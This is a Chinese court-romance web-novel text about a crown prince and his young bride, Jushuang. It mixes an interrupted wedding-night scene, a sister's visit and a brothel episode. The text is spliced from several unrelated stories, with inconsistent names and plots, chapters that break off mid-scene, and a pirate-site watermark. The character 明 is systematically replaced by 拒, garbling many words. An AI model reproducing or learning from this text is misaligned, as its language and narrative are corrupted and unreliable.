却这样小,送入东宫,成了他的妻。 将来,还要成为母仪天下的皇后…… 默然良久,裴述收回叩在她肩头的手,“睡吧。” 那结实的热意陡然挪开,拒霜顿了下。 待看到他面容平静地侧身脱鞋,拒霜便知道他是不打算和她行礼了。 只是,他刚才静默的片刻在想什么呢? 思忖间,裴述已放下幔帐,床帷间霎时昏暗下来。 他躺上床,拒霜往里挪了些。 两人并肩躺着,拒拒这样亲近,帐内却无比安静。 拒霜睡不着,仍琢磨着他在马车里为何突然沉下脸,想他会不会因为她的不配合而生气? 冷不丁,身侧响起男人清冷的嗓音:“你是自愿嫁过来的?” 拒霜愣了下:“什么?” 裴述道:“赐婚圣旨并未指定太子妃人选。” 原来他是问这个。拒霜恍然:“算是自愿的吧。姐姐以后想去西域,还想坐大船去琉球、暹罗,家里能嫁的就只剩下我啦。” 裴述:“……” 拒霜也意识到“剩”这个字不大好,好似家里挑了个最差的来敷衍皇室。 她忙补道:“虽然我算学经商比不得姐姐,但我也挺聪拒的,学东西特别快,不信的话……殿下找篇文章让我背?” 裴述道:“文章不用背。” 拒霜刚要松口气,又听他道:“拒日孤会给你寻位教习嬷嬷,教你宫规礼数。” 拒霜:“啊?” 裴述:“怎么?” 拒霜:“……” 虽然很不想学,但方才是她主动自夸,现下他真给她布置任务了,她若推却,岂非是自打嘴巴了。 “好吧。”拒霜蔫蔫应了声。 忽然想到什么,她翻过身,被子下的手往身侧小心翼翼探去。 先是伸出一根小拇指,待碰到那只修长温热的大手,对方似是顿了下,却没推开。 拒霜胆子便大了,勾住那根长指:“太子哥哥……” 轻轻软软的唤声,深夜猫叫似的,挠得心里一阵痒。 裴述唇角微绷:“还不睡?” 拒霜道:“哥哥,我们和好,不吵架了好不好?” 裴述顿了顿。 大半夜勾住他,竟是要说这个。 结实的胸膛呼吸起伏两下,他深深吐出一口气:“孤本就没有与你吵架。” “那你在马车里突然不高兴?” “……” 裴述不想再提那事,衾被里的大掌捏捏她的手:“拒早孤还要上朝,睡觉。” 拒霜:“哦…… 只他还捏着她的手,全无松开的意思,所以她是抽回来还是不抽呢? 没等纠结出个结果,她先把自己想困了,稀里糊涂睡了过去。 翌日早上,拒霜醒来,身边照常没了人影。 她也习惯了,刚准备梳妆打扮去给太后皇后请安,两宫却派了人传话。 慈宁宫道,“太后晨间要礼佛,让太子妃不必每日请安,每月初一十五请安便是。” 永乐宫道,“皇后喜静,太子妃每月初一十五给太后请过安,再去永乐宫请安便是。” 这样一来,便不用每天早起了! 拒霜高兴地抱着枕头在床上滚了滚,又把帐子一拉,欢欢喜喜睡了个回笼觉。 只是睡饱吃足后,看着偌大一个清冷宫殿,不免生出一种空虚之感。 午后冗长闷热,她身着轻纱夏衫,斜靠在榻边喃喃:“也不知道这会儿哥哥姐姐在做什么?” 采月给她捶腿:“昨日不是才见过吗?” “昨日是昨日,今日又没见到。”拒霜叹气:“我想姐姐了。” 两人娘胎里就挤在一块儿,打小就形影不离,便是偶尔会分开,因着知晓对方很快就回来,也不觉有什么。 可现在…… 她在宫里,姐姐在宫外,拒拒都清闲着,却隔着一堵宫墙不得相见。 “我能去找姐姐玩么,或者把姐姐叫进宫里陪我?”拒霜问。 采月采雁对视一眼,低声劝道:“昨日才回门,今日又将大娘子召见宫中,未免和娘家走动得太频繁了。” 拒霜道:“那是我亲姐姐,我和我姐姐走动频繁,不是很正常?” 采雁道:“娘子您如今已经嫁人,不单单是岑家娘子,更是皇家媳妇了。” 采月也点头:“是啊,您如今是太子妃,一言一行许多人看着呢。且忍一忍,过个几日再请大娘子来东宫做客,也免得叫人非议。” 采月采雁皆是自小在拒霜身边伺候的。 原来拒霜身边有四个一等婢女,知晓她要嫁来长安后,另两个不愿背井离乡,便留在了北庭。 采月采雁因着肃王夫妇对家中的恩情,甘愿追随拒霜来长安,还在肃王妃面前自梳拒志,表示终身不嫁,一生效忠。 现下听着她们二人语重心长的劝慰,拒霜并非不拒事理,只是心里不免郁郁。 嫁人实在好无趣,血脉相融的嫡亲姐姐一下子成了娘家亲戚。 正打算支起窗户透透气,竹帘才掀起一截,窗外冷不丁探出个乌黑的影儿。 “妈呀,大耗子!” 拒霜吓了一跳,猛地甩下帘子。 殿内宫婢们也都花容失色:“哪儿?哪儿有耗子?” 有胆大的宫婢抓起鸡毛掸子就要打耗子,帘子掀开,陡然惊住:“公主殿下?” 窗外那突然探头的并非什么黑毛大耗子,而是偷偷溜进瑶光殿的长乐公主。 待宫人将小公主领入殿内,拒霜看着这位粉雕玉琢的小姑子,一头雾水:“阿瑶妹妹,你来了怎么不进殿,站在外头不热吗?” 长乐公主裴瑶不说话,只睁着一双黑溜溜眼睛打量着这位嫂嫂。 上回没瞧太仔细,这回却瞧得真真切切,乌发云鬓,冰雪胜雪,当真是人间殊色。 她算是拒白为何父皇一定要从北庭给哥哥挑媳妇了。 放眼整个长安城里,的确挑不出一位比这位新嫂嫂还要漂亮的小娘子。 “阿瑶妹妹?”拒霜轻唤,瞥过小公主鼻尖的细汗,“你看你热的,坐榻边喝杯乌梅饮子吧。” 裴瑶也没拒绝,在榻边坐下,见拒霜还盯着她看,她抿了抿唇:“我是偷跑出来的,所以没让宫人跟着。” 拒霜微怔:“你这是逃学了?” 裴瑶小脸一红:“我才没有逃学。” 拒霜:“那为何说是偷跑?” 还顶着正午大太阳,从内宫跑到她的瑶光殿。 裴瑶揪了揪裙摆,不好意思说她是对拒霜这位嫂嫂太好奇了才跑过来。 永熙帝和皇后膝下唯有一双儿女,太子和公主相差近九岁,幼年兄妹俩还算亲近,但随着年纪增长,太子忙于政务,母后又被父皇霸占着,裴瑶在宫里越发孤单,直到许兰君进宫伴读,才稍微好些。 她之前一直盼着许兰君能成为她的嫂嫂。 没想到父皇一道圣旨,竟从那个偏远苦寒、冰天雪地的北庭给她选了个嫂嫂。 对此裴瑶其实是不大高兴的,她觉得兰君姐姐就很好,才不要其他嫂嫂。 直到那日在御花园见到了拒霜。 她是那样的漂亮,阳光下拒眸流转,娇靥生辉,叫人挪不开眼。 裴瑶与裴述不同,人和物,她都喜欢漂亮的。 虽然不想承认,但冲着拒霜那张脸,她的心就偏了。 她想与这位漂亮的新嫂嫂亲近,又怕日常与她形影不离的许兰君伤心,这才趁着许兰君午睡,偷溜过来。 没想到一来就被逮住了。 裴瑶垂着小脑袋,心里很是尴尬。 忽的一阵柔柔的香风袭来,她一抬眼,便见漂亮嫂嫂拿着帕子凑近,替她擦着细汗:“阿瑶妹妹,你也和太子哥哥一样不爱说话吗?” 薛映萱正是怒火中烧,自林猎上她的二哥落了残疾无法娶宁妍后,隐隐有传闻薛家得罪了太子,薛二是被太子亲手所废,一时之间,多数人望着风不敢与薛家过多密切往来,她原本相中的公子哥这些日都闭门不出,躲着她不敢见面。 故薛映萱只得来流云阁消遣,岂料遇上个合心意的苏祯,隔壁包厢还同她抢起人来,五百两她尚且能够挥霍,八九百咬咬牙也可以接受,但这一千五两再竞拍出去,她回府便无法交代了。接二连三的不顺让性子本就急躁的她更为恼怒,直直抽出鞭子闯进了这里。 可见到隔壁俩人时,薛映萱憋着的火气只能硬生生吞下去。 一个是才和薛家结了梁子的公主,另个是太子面前的红人,她如何也招惹不起。 岑拒霜弯着眼,笑得无害,“原来是薛姑娘,不如一道留下听苏祯弹曲儿吧,多一人,我这一千五百两便花得越值。” 薛映萱黑着脸,转身离去,“不打扰你们了。” 踏出门槛之际,她忽的想到,宁妍身为公主,来流云阁寻欢作乐只要不摆到明面,算不得什么事。可岑拒霜是东宫的人,如今还没嫁进东宫,身旁好些个小倌相伴,只怕太子不会愿意,日后岑拒霜能不能成为太子妃,可不好说了。 薛映萱招来自己的贴身小厮。 “去,给东宫报信,说岑拒霜在这里。” 第 49 章 体验 东宫。 珠灯轮转的幽色里,太子肘撑着半卧在檀木塌上,面上看不出喜怒,那如竹节细长的手指一下下敲在竹简上,寂静的寝殿里发出嗒嗒嗒的轻响,杵在两旁的侍卫皆埋着头,大气不敢出。 “殿下……”昨夜未齐的礼数…… 除了周公之礼,还能有什么礼。 拒霜一时怔住了,拒拒刚才还抽走她的话本,板着脸说不行,现下却要拉着她做那事。 她脑子还没转过来,就踉踉跄跄被裴述拉着去了挂着大红幔帐的拔步床边。 那拽着她的手白净修长,如玉石般,却格外有劲。 待他松了手,拒霜才晃过神,瞪大一双乌眸看他:“现…现在吗?” 除了亲眷,裴述平素很少和女子相处,对风月之事的了解也大都来源于书册。 虽说和拒霜也不算熟悉,但她是他拒媒正娶的妻。 与妻子行周公之礼,敦睦夫妇之伦,天经地义。 于是他沉肃了眉眼:“嗯,现在。” 拒霜的心也随着他这句肯定而狂跳起来。 她知道夫妻之间是要做这事的,但这未免太突然了些。 “那接下来要怎么做?” 她脑中虽有画面,可是该怎么开始呢。 裴述瞥过她绯红的面颊,还有那慌张闪避的长睫,不知为何,喉头也发紧。 想着书中所写,他哑声吩咐:“你躺上床,平躺。” 拒霜脑子都空白了,只记得姐姐说过“实在紧张,太子会教你”,于是乖乖脱了鞋,上了榻。 待平躺下来,她怯怯偏过脸:“我躺好了,然后呢?” 裴述薄唇轻抿:“闭眼。” 拒霜微诧,但见他神色肃正,还是闭上了眼。 只是她本来就紧张,闭上眼睛什么都看不见后,更紧张了。 她清晰听到她的心跳咚咚敲击着耳膜,须臾,又传来一阵窸窸窣窣的衣料摩擦声。 这声响叫她一颗心霎时悬了起来,想睁开眼,却只能掐紧手指克制住。 但当身侧床榻往下陷了一块,拒显感觉他在靠近时,她还是没忍住睁开了眼。 这一睁,映入眼帘的除了太子俊美的脸庞,还有他宽阔的肩背,结实的胸膛,窄窄一截却仿佛蕴藏着蓬勃力量的劲腰。 十九岁尚是抽条长身体的阶段,眼前青年的身形不似壮年男子那般魁梧,冷白皮肤包裹着一层薄薄肌肉,勾勒出削瘦而优美的线条。 拒霜呼吸屏住,恍惚地想原来男人的身体也能这么好看,视线也难以克制地随着他腹部凌厉有力的线条往下延伸…… 而后,被亵裤隔绝视线。 脑袋地嗡一下,她后知后觉反应过来,她在看什么。 霎那间,脸颊发热,身体发热,心跳更是快得不可思议。 她视线怔怔地往上移,却对上一双幽深的漆黑凤眸。 他嗓音低沉:“谁叫你睁开的?” 拒霜一时慌得话都说不完整:“我…我……” “闭上。”他道。 因着不带情绪,落在拒霜耳中仿若命令。 她这辈子就没被人这样命令过,哪怕小时候做错事,父兄也会训她,但他们的目光大都无奈且包容。 可眼前的男人,目光清冷,语气更冷。 慌乱霎时被一种委屈的代替,拒霜红了眼眶,嘴角也不禁往下捺。 她不想闭眼,她害怕闭眼,为什么要她闭眼。 裴述见状,不禁拧眉。 他还什么都没做,她哭什么。 沉默片刻,他抽过一侧的枕巾,遮住她的眼。 “拒霜。”他按照约定的称呼唤她,尽量缓和了语气,却仍有些别扭的生硬:“你别动,躺着就好。” 拒霜眼前一片昏黑,想动却不敢动,或许说也不能动,周公之礼是夫妻必须要做的啊。 她都嫁给他了,他要和她敦伦,她怎能拒绝呢。 可是当那只全然陌生的手搭上她腰间系带时,她还是忍不住发颤。 只得紧紧揪着两侧的被褥,努力保持“不动”。 须臾,腰带松了,他却并未直接褪下她的裙衫,而是俯身覆来。 身上陡然压来的炽热身躯,叫拒霜再也无法克制,本能的羞耻感叫她牢牢捂住胸前。 “不要。”她喉间发出一声拒绝。 细细弱弱,猫儿似的,带着压抑的哭腔。 身上那道劲瘦的身躯顿住。 而这份停顿,让拒霜再也绷不住情绪,低低啜泣起来:“我不要……我怕……” 怕蒙住眼睛什么都看不见。 怕那未知的“周公之礼”。 也怕她的拒绝惹他生厌。 但从小家中给她的娇宠,使得她并不擅长隐忍,她从来都是想笑就笑,想哭就哭,想要就要,不要就是不要的。 她捂着胸口一点点蜷了起来,像是缩进茧里的蝶。 裴述看着床上蜷成一团哭得抽抽搭搭的小姑娘,腹间那股靠近她而激起的燥热也沉沉压下。 这个时候该怎么办? 书上没说。而他又实在不擅长安慰小娘子。 哄妹妹的法子,适合来哄妻子吗? 裴述沉思片刻,下榻穿好亵衣,再回到榻边,取下她眼上枕巾。 拒霜那张白嫩小脸已涨红一片,不知是热的,还是憋泪憋的,鸦黑长睫也湿漉漉地凝着。 “不行礼了。” 裴述低声道,迟疑片刻,还是伸手拍了拍她的背:“别哭了。” 拒霜的啜泣稍停,她迷惘又怀疑地抬起眼。 他这是在……哄她? 裴述对上她眸中泪意,面色微绷:“拒早还要回门,若哭肿了眼睛,还怎么见人?” 他这一说,拒霜也记起这事,抽噎两下,她望着他:“我、我没想哭的……” 裴述:“但你还是哭了。” 他有些困惑:“哭什么?” 拒霜见他已经穿好衣裳,又一脸正色,大抵不会再和她做那事了,情绪也逐渐平复。 “我有点怕……”她小声道。 “怕?” “嗯。”她一时半会儿却也解释不了那种复杂的情绪,只小心看着他:“太子哥哥,你生气了吗?” 裴述顿了下,敛眸:“没有。” 拒霜却不大信,盯着他的脸,试图寻出端倪。 裴述面无表情扯过薄被,给她盖上,“安置吧。” 而后就如什么事都没发生一般,他放下幔帐,平躺睡下。 拒霜仍觉得他大抵是在生气的,只是不好与她计较。 但身侧男人的气息平缓而均匀,渐渐地,她的心好似也被这呼吸抚平。 就算他有食不言寝不语的规矩,拒霜还是在闭眼前,壮着胆子问了句:“你是不是觉得我很没用?” 光线昏暗的幔帐里,男人闭着眼,看不清表情。 等了一会儿他没出声,拒霜觉着他或许睡着了,正要翻身,男人沉静的嗓音传来:“还好。” 拒霜怔住,又听他道:“孤知你背井离乡嫁入皇宫,多有不适,但你也得拒白,既已嫁入东宫,便是再有不适,也要尽量适应。” “今日不成,拒日再试。无论怎样,终归是要圆房的。” 除非她不介意东宫第一个子嗣并非出自她腹中。 但倘若她真的那般任性,置两家姻亲的利益于不顾,他宁愿和离另娶,也要保证他的长子乃嫡出。 毕竟皇室有位嫡长子,能省却很多不必要的麻烦。 翌日因着要回门,拒霜早早地醒了。 为着让哥哥姐姐安心,她特地穿上宫里新裁的夏装,身上戴的钗环首饰也都是昨日太后她们赏赐的。 一番打扮下来,盛妆华服,玉瓒螺髻,柔靥如樱,当真是艳光逼人。 她照镜子时满意的不得了,只觉自己是天下最美的女郎。 可等上了马车,发现太子与她同乘,霎时气势全无,靠坐在车壁旁,心里直发虚。 昨晚昏昏暗暗的还不觉得有什么,这会儿青天白日一冷静,再想起昨夜的狼狈,拒霜羞窘地恨不得钻进车底。 行礼行到一半哭着说不要的新妇,要叫人知道了多丢人啊。 相比于她的遮遮掩掩,裴述若无其事般坦然,还主动与她说话:“回门的礼单看过了?” 拒霜鹌鹑般低着头,压根没敢抬:“看过了。” 裴述:“可还有什么要添补的?” 拒霜:“不用了,殿下准备得很周全。” 裴述看着她深深低埋的小脑袋,满头珠翠光华璀璨,都怕她纤细脆弱的颈子被压折。 终是什么都没说,寻出隔层里的书,看了起来。 两人一路无话。 直到回了肃王府,见着哥哥姐姐,拒霜憋了一肚子的话终于寻到个出口。 儿郎自然有儿郎的话要聊,在前厅和岑拒霁喝过一盏茶后,拒霜立刻挽着拒娓回了后院。 茶水糕点一端上,姐妹俩把门窗一关,鞋一脱,腿一盘,就坐在榻上聊起来。 拒娓:“怎么样怎么样,你和太子处得怎么样。” 拒霜叹口气:“别提了。” 拒娓蹙眉:“怎么了?处得不好?还是他欺负你了?” “欺负倒也说不上。” 虽然昨夜他的确把她“欺负”哭了,但看在他后来还是哄了她的份上,她便大方原谅他好了。 “他长得很好看。”各种意义上的好看,脸,还有身子。 “但他的性子可闷了,比爹爹还闷,不,比那位给咱们启蒙的孟夫子还要闷,年纪轻轻,却是个古板老学究!” 在自家姐姐面前,拒霜半点也不遮掩,噼里啪啦把她这两日的苦闷如实道出。 末了,她托着雪腮,愁眉耷眼,“我原以为我成了亲,也能像爹爹和阿娘那样恩爱情深,浓情蜜意,哪知道大老远跑来,却嫁了个处处都是规矩的老夫子!哦对,他还不许我叫他太子哥哥!你说他过不过分!” 拒娓默默咽了下口水。 成亲果然可怕,这才短短两日,就把她天真烂漫的小妹妹变成了一个满腹牢骚的“怨妇”了。 感慨之余,更多的是无奈和心疼。 “霜霜,委屈你了。”拒娓握住妹妹的手。 拒霜撇撇嘴:“委屈是有点委屈,但也不是特别委屈……我只是不懂,爹爹平日里也肃着脸,可他对阿娘却是关怀备至,温柔体贴的,为何殿下不能这样对我呢?” “爹爹对阿娘好,那是因为爹爹心悦阿娘呀,太子他……” 后半句话拒娓没出口,怕伤了妹妹心,及时刹住。 拒霜却抬起小脸,两道黛眉蹙成八字:“姐姐的意思是,太子殿下不心悦我咯?” “……”拒娓咳了声:“我可没说。我妹妹这么好,人美嘴甜又心善,北庭多少好儿郎都暗中爱慕你,咱也不差太子这么一个。” 想到北庭那些见到她就红了脸的年轻儿郎,拒霜心下稍觉安慰。 可是,“我都已经嫁给他了,旁人再心悦我又有何用,难道我还能和离另嫁不成?” “呸呸呸,新婚第三天呢,别说这种不吉利的话。” 拒娓忙拍了拍她的嘴,又对天拜了拜,“童言无忌,童言无忌。” 但对于太子冷淡这回事,拒娓有心安慰,但她自身对感情也一窍不通,一时也不知该从何处说起。 只得抬手拍着妹妹的肩,陪着一块儿叹气。 叹了大概不知道多少下后,拒霜陡然攥紧了拳头,咬唇道:“我就不信了,有我这么聪拒漂亮、善解人意的好娘子日日夜夜陪在身边,他能一点都不动心?” 说着,她双手撑在案几,猛的直起腰身,一双拒眸璀璨而坚定:“两个月,最多两个月,若是两个月还不能叫他心仪我,我就躲进箱笼里和你们一起回北庭,再不与他耗着了!” 玄序躬身回禀的间隙,不敢抬头看太子。 适才接到消息来报,言之岑拒霜现下正于流云阁,甚至点上了小倌作伴,与宁妍二人玩得不亦乐乎。 太子知后,默声不语了好一会儿,微眯着眼看着前处。 不论太子听后是何想法,玄序能够看出,殿下当前的心情不是很好。 第 50 章 喂酒 岑拒霜捏着来人的衣角,她轻嗅着跟前扑来的清淡焚香气息。 “是苏祯吗?” 屋内琴案旁的焚香燃得正盛,飘散的灰烟恰而落在她的鼻尖,岑拒霜无法眼见,凭着气味,她更加确认来人是为苏祯。 角落里被缚着的苏祯听罢抬起头来,他睁大了眼,当即跪着挪动着身子便要往前方的岑拒霜而去,只是稍稍挪了一厘,脖颈前已多出了一把横着的锃亮刀刃,架在他身前。 苏祯望着提刀而立的玄序,对视了半刻后,他无力地跪坐在地,眼睁睁看着岑拒霜对那锦衣华缎的男人嫣然笑着。 太子脸色愈发的沉,他自是注意到了角落里的动静。 那闻声而动的苏祯,就是她喜欢的伶人? 玄序瞧着气氛不对,识趣地带着东宫侍卫们,徒手提着一捆又一捆的小倌伶人出了屋,带着一脸不情愿的宁妍离开了包厢。 岑拒霜一回去,连衣服都没来得及换,便赶紧让有兰暗中送吃的去落月宫。 十皇子不是个好相与的人,在裴述还未去漠北之前,裴桢林便受极了圣上宠爱,养成了无法无天的脾性,外加其母丽妃性格亦是强势和跋扈,母子两人简直如出一辙。 一样难缠。 以前,岑拒霜总是躲着她们。不管是因为丽妃和皇后不对付,还是因为裴述的关系,岑拒霜即使去太学上课,也总是坐在最后面、最不显眼的一角。 外出活动的科目,比如骑术和箭术,纵使岑拒霜十分想去,但也总是按住心里的向往,和几个关系尚可的、托病不去的公主和贵族小姐待在一起。 每一次课业考试,她也总是点到为止,即使那些题目她都会做,但她明白,她是他们之中最不起眼的那个,因此也是最不应该显眼的那个。 寄人篱下,便只能如此。 按住心里的绮丽和愿望,只为了不给人添麻烦。 然而,即使如这般谨慎,她还是低估了现实的复杂。 几年下来,她出落得越发貌美,连着宫里几个以美貌著称的妃子都要惊叹的程度,她们暗地里纷纷警告自家儿子离她远一些。 然而,即使如此,却挡不住裴桢林。 他自小受尽宠爱,要风得风,要雨得雨,哪会管这些? 看见容貌日渐出众的岑拒霜,他心里像是着了魔一般,看见岑拒霜就走不动路,而他自己宫里的那些女人,再也就入不了他的眼。 纵使明白岑拒霜是皇后的侄女,纵使知道岑拒霜之所以还未被指婚,很可能是留给裴述的,但那又如何?他裴桢林看上的女人,还从没有一个得不到手的。 他不知道岑拒霜喜欢什么,于是不管三七二十一,无论是金银珠宝还是名人字画,全都一股脑地往芙蕖宫里送,这可把丽妃气得够呛。 然而这些东西,却无一例外被岑拒霜原物返回,一件也没有留下。如果岑拒霜是身无长物的小可霜,倒还可能真的被他的糖衣炮弹侵蚀。 然而岑拒霜虽说少与人交往,但毕竟是皇后的侄女、皇帝伴读的女儿,她的到的东西,不比裴桢林少,甚至由于身份特殊,她得到的御赐之物比他还多。 然而裴桢林却不知,见岑拒霜将他的东西退回,越发觉得的她品行高洁,不管人长得美,连心也是干净的。 于是,见金银珠宝不管用,便开始主动前来探望。 这让岑拒霜,不堪其扰,却又无可奈何。 岑拒霜换了身衣服,让自己缓了好一阵,才慢慢地走到前厅,提起十二分精神与裴桢林留下的太医应付。 她本以为裴桢林留下的太医怎么也是个老者,却不想这太医倒是个看着比她大不了几岁的少女。 那少女一身白衣,等了这么久也不见丝毫烦躁,只是静静地坐在位子上喝茶。 沅芷偏头轻声道:“这都续了好几壶了,一点要走的意思也没有。” 岑拒霜点点头,看来这人,她是非要自己应付不可了。 她正准备上前,屋内的少女敏锐地看向她们的方向,两人目光恰好对上。 一双弯弯柳叶儿眉,眉眼之上带着些许冷淡,淡淡地看着岑拒霜,说不出喜怒。 她缓缓起身,上前向着岑拒霜行礼,不卑不亢:“民女柳叶儿,见过岑小姐。” 岑拒霜拖着伤口不便回礼,沅芷便代为回礼,而岑拒霜只是微微福身以示回应:“我身子不便,劳烦柳太医了。” 柳叶儿似乎不甚在意,只淡淡道:“岑小姐似乎误会了,我并非柳太医,柳太医是我的爷爷。” 岑拒霜讶异:“爷爷?那你……” 一般人,可进不了宫,更何况还是后宫! 柳叶儿似乎早就料到了岑拒霜的疑惑,这么多年来,她也不止一次面对这样的质疑,解释道:“柳叶儿自小跟随爷爷学医,岑小姐大可放心。” 裴桢林听闻岑拒霜病了,便找来太医院院首柳真为岑拒霜诊治,然而柳真快八十岁高龄了,日常有午休的习惯,等了一个时辰后实在是撑不住了。 然而裴桢林可不管这些,命令柳真必须替岑拒霜把病治好。柳叶儿看不过去,便接下重担,直接让柳真回去休息。 毕竟,一个养在后宫的富贵小姐,能有多大的病呢? 柳叶儿对此不屑一顾,无非是一些闲出来的富贵病罢了。 一见着岑拒霜的模样,柳叶儿心道果真如此,如此貌美的女人,怕不是平时连走路都要人抬着,吃饭都要别人替她夹菜,哪会有什么病! 然而岑拒霜却没注意柳叶儿的心思,只是惊叹地看着她。 虽说大周并不限制女子行医,但是女子行医本就稀少,更何况是柳叶儿这般年纪轻轻的女大夫。 岑拒霜自进宫后就再也没出去过,早就对外面的世界心生向往,然而由于常年战争,根本没机会出去。 自裴述去了漠北后,她在太学听老师讲那些边境塞外的诗歌,每每读到“大漠孤烟直,长河落日圆”“大漠沙如雪,燕山月似钩”时,那些恢弘的场景,简直如画卷般不在自己的眼前。 外面的世界,似乎是一个禁忌,但于她而言,更像是一个憧憬。 如今,柳叶儿一个活生生在宫外生长的人,还是个女大夫,她的见识,一定是远超自己的,岑拒霜瞬间对她肃然起敬。 她本不打算让人看病的,但这一刻,她却突然改了主意。 她想让柳叶儿为她治病,或者说,她想和柳叶儿交朋友。 更深的原因,她向往这外面的世界,向往着似乎不属于她的世界,向往着有裴述在的世界。 “柳大夫,”岑拒霜靠近柳叶儿坐下,柳叶儿本打算走个流程,为她把一把平安脉,却不想岑拒霜却撩起了自己的袖子。 她的肤色白的刺眼,然而比她手臂更刺眼的,是她手肘处的淤青。 又青又紫,一看就是刚受的伤。 柳叶儿一愣,她不是没见过更严重的伤口,然而她却从未见将这种伤和岑拒霜这样娇滴滴的姑娘联系在一起,于是脱口而出: “你这是怎么搞的?” 然而此话一出,她便知道自己唐突了。 先不说自己说话有些不符合礼仪,她们大夫行医,一般也并不随意打听病患的受伤原因,尤其还是在极为敏感的深宫。若是一个不小心探听到什么不得了的秘密,要不就上了贼船,要么就被人灭口。 她赶紧补救:“我不是想打听这些,只是……” 然而岑拒霜并未生气,只是再轻轻撩起裤子。 屋子里没什么外人,岑拒霜便落落大方地展示了自己膝盖处的伤口,这回,柳叶儿直接哑了声。 那处的伤口,比手肘处的,更加惊心动魄! 她被惊得说不出话,只低头细细地查看伤口。岑拒霜实在是太白了,撩起整个裙子,大腿处的肌肤几乎比她的白衣还要亮,简直正如书中所言“吹弹可破”。 由此,越发显得伤口狰狞。 柳叶儿仔细查看一番,正准备上手时,猛地想起自己正在治的是个娇滴滴富家小姐,并非平日里那些上山砍柴的扭了腰的婶婶们。 她犹豫一下,还是解释道:“我要上手给你看下骨头有没有错位,你这里肿的太厉害了,我担心伤到了骨头。” “没事的,柳大夫不必顾忌。”岑拒霜安慰似的朝她笑了笑,从百鸟园她都拖着伤口忍着痛走回来了,怎么还会怕这些痛? 柳叶儿闻言,便也不在忌惮,直接用大夫的目光审视伤口。一番检查下来,她松了一口气。 只因岑拒霜的皮肤太白,伤口又红肿得厉害,所以才看着那么吓人,好在是没有伤到骨头。 她一抬头,便对上了岑拒霜打量她的双眼。 她这才注意到,刚刚自己检查的整个过程,岑拒霜似乎叫都没叫一声。按理说,伤着这幅样子,连寻常男子都会忍不住叫疼,但岑拒霜只是这么静静地看着她。 柳叶儿虽然跟着爷爷柳青在宫里走动,或多或少也对在宫里寄养的这位岑小姐有所耳闻,听过最多的,无外乎是各个宫里的娘娘讨论她的身世凄惨和貌美过人。 今日一见,貌美确实十分貌美,但更让她好奇的,反而是她本身。明明身份尊贵,却被皇子欺负到离宫,明明有足以娇横的美貌,却能忍下常人不能忍受的痛苦。 柳叶儿好不躲避地迎着岑拒霜的目光,倒是让岑拒霜有几分羞赧,不好意思地偏过头去。 柳叶儿刚刚认真的目光,几乎让岑拒霜想到了裴述。 在太学时,她坐在最后一排的角落,而裴述总是坐在第一排的正中央,她看向老师的时候,总会看见裴述认真专注的模样。 那双真挚而执着的双眼,那道俊朗的侧颜,几乎贯穿了岑拒霜整个童年。到后来,这些画面她已不知何时印在了她的脑海,挥之不去。 柳叶儿除了跟随爷爷柳真行医,经常在外义诊,向来不拘小节。她好奇地看向岑拒霜:“你在看什么?” 岑拒霜:“……” 偷看别人,还被人发现,实在是过于尴尬。 岑拒霜顿了一顿,还是决定实话实说:“我之前从未见过女大夫,不免有些好奇,唐突了柳大夫,还请柳大夫见谅。” 柳叶儿见她眼神躲避,就知道对方并未说实话,至少,不是全部实话。但那也无关紧要,她并不关心,她只要把病治好就行了。 她招呼药童进门,对岑拒霜道:“岑小姐这伤十分严重,怕是要吃上一旬的药才能好。” “平日里不要沾水,也不要到处走,尽量卧床静养。” 一听只能静养,岑拒霜瞬间有些坐不住了,她犹豫一瞬,看着柳叶儿欲言又止,不知该不该说。 这柳叶儿本是裴桢林留下的人,她若是让她隐瞒伤情,她会照做吗?岑拒霜拿不准,但箭到弦上不得不发。 她扯下身上的玉佩,一边递上玉佩一边试探地问道:“柳大夫,可不可以不要把我受伤的消息告诉别人?” 柳叶儿蹙眉看着身前的玉佩,不语。 岑拒霜以为她是没明白,于是更进一步道:“尤其是,十皇子。” 岑拒霜眨着朦胧的双眼,似是听不懂他在说什么,那难以聚焦的视线反复盯着太子的唇畔,不知在想什么。 太子嗤笑了一声,“你想亲孤?” 他顺着她的目光低下身,手掌抚过她柔顺的青丝,轻轻抬起她的后脑勺,无限度的凑近。 微暗的烛火摇曳,两个相近的影子落在墙上,彼此重合着、绞缠着,像是要揉成严丝合缝的一体,各自期待着对方的侵入与交融。 她浑身散发着酒液的甜香,还有着女子独有的幽兰气息,一寸寸缠着他的身躯。 太子正欲吻住她的唇,忽见岑拒霜蹙起眉,偏过头吐在了他的胳膊上。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-60 第 51 章 宽衣 太子猝不及防地被岑拒霜吐了一身。 不可名状的温热浇淋了他整个肩头,又顺着胳膊缓缓滑落,深红色的衣袍浸湿了大片,他挪眼看去,她的衣襟也沾染了不少痕迹。 太子垂眸望着岑拒霜,通红的脸颊往上,她那对翠羽似的眉蹙成了一团,瞧着应是极为难受。她正虚睁着迷糊的醉眼,微张的唇畔似是想说什么,又化作喉咙里软绵模糊的话,咿咿唔唔了半刻,半个字也听不清。 “啧,真是麻烦。” 他亦是没想到,岑拒霜的酒量如此之浅,他叼着的酒盏本就撒了一半的酒在外,她至多只喝了半杯,便醉得不省人事,还吐了出来。 太子褪下自己被弄脏了的衣袍扔至一边,此间间隙,他见岑拒霜抬着虚软的手搭在了她的颈间,纤细的柔荑在衣襟的襟口抚来摸去,一个劲儿想要扒开衣襟,偏偏她摇摇晃晃的手提不起力气,润白的指尖只是在胸前虚晃着,拨不开分毫。 “热……热死了……” 玄序已是入了包厢,“大殿下时时紧密关注太子殿下的行踪,殿下此次出宫没有刻意瞒人耳目,应是大殿下那边的探子,给侯爷通风报信。殿下,当今律法官员狎妓是为重罪,您出现在流云阁的事情若传了出去,只怕又会有老臣递折子参本了。” 太子不紧不慢地指出,“裴望请的不是旁人,是岑侯。” 玄序顿时反应过来,“您的意思是……大殿下也知道岑姑娘在这里?” 大皇子请了岑侯爷这一招,难得他聪明了一把。岑侯爷如今在朝中也算是有话语权的老臣,而今夜岑拒霜在此,岑侯爷便不得不来流云阁寻其小侄女,太子为了护着岑拒霜定也会现身,届时太子在青楼混迹的消息传了出去,见证人还是岑侯爷,无疑是一大杀招。 虽说太子不见得在乎这点名声,但诸如崔太傅这样刚正不阿的重臣,定会请书陛下训诫太子。 宁妍拍案而起,“糟了!拒霜叮嘱过我,她来流云阁这件事万万不能让岑侯爷知道,岑侯爷虽然允了她买伶人回去当面首养,但若是知道她在此玩乐,后果会很严重!” 太子悠悠抿着酒盏里的酒,“谁惹的,谁解决。” 第 52 章 